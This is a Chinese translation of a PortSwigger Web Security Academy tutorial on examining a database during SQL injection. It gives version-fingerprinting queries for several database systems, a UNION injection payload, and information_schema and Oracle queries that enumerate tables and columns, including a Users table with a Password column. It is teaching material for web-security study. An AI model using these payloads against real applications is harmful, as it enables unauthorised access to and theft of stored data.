1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > mysql in sql注入_在 SQL 注入攻击中检查数据库

mysql in sql注入_在 SQL 注入攻击中检查数据库

时间:2021-02-01 22:42:01

相关推荐

mysql in sql注入_在 SQL 注入攻击中检查数据库

原文来自:PORTSWIGGER WEB SECURITY >> Web Security Academy >>Examining the database >>Examining the database in SQL injection attacks

...

当利用 SQL 注入利用时,收集数据库本身的信息通常是必要的。这包括数据库软件的类型和版本,还包括数据库中包含的表和列等内容。

查询数据库类型和版本

不同的数据库提供不同的版本查询方式。我们通常需要在多种查询方式中尝试,找出可以让我们确定数据库软件类型和版本的那一种方法。

主流数据库提供如下方式来确定数据库版本:

Database type | Query

----------------------------------------

Microsoft, MySQL | SELECT @@version

Oracle | SELECT * FROM v$version

PostgreSQL | SELECT version()

例如,可以在 UNION 注入攻击中利用如下 payload:

' UNION SELECT @@version--

我们可能得到如下结果,从而确定数据库类型为 Microsoft SQL Server ,版本信息为:

Microsoft SQL Server (SP2) (KB4052908) - 13.0.5026.0 (X64)

Mar 18 09:11:49

Copyright (c) Microsoft Corporation

Standard Edition (64-bit) on Windows Server Standard 10.0 (Build 14393: ) (Hypervisor)Lab: SQL injection attack, querying the database type and version on Oracle​Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft​

列出数据库的内容

大多数数据类型,都有一组被称作 information schema 的视图,这些视图提供有关数据库的信息。

我们可以通过查询 information_schema.tables 列出数据库的表:

SELECT * FROM information_schema.tables

返回如下:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE

=====================================================

MyDatabase dbo Products BASE TABLE

MyDatabase dbo Users BASE TABLE

MyDatabase dbo Feedback BASE TABLE

这些返回结果表明,库中有三个表,分别是 Products, Users, Feedback。

我们可以通过查询 information_schema.columns 列出特定表中的列:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

返回如下:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE

=================================================================

MyDatabase dbo Users UserId int

MyDatabase dbo Users Username varchar

MyDatabase dbo Users Password varchar

此输出显示了指定表中的列以及每列的数据类型。Lab: SQL injection attack, listing the database contents on non-Oracle databases​

等效于 Oracle 中的 information schema

在 Oracle 中,我们可以通过稍有差异的查询语句获取同样的信息。

我们可以通过查询 all_tables 列出表:

SELECT * FROM all_tables

可以通过查询 all_tab_columns 列出列:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'Lab: SQL injection attack, listing the database contents on Oracle​

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。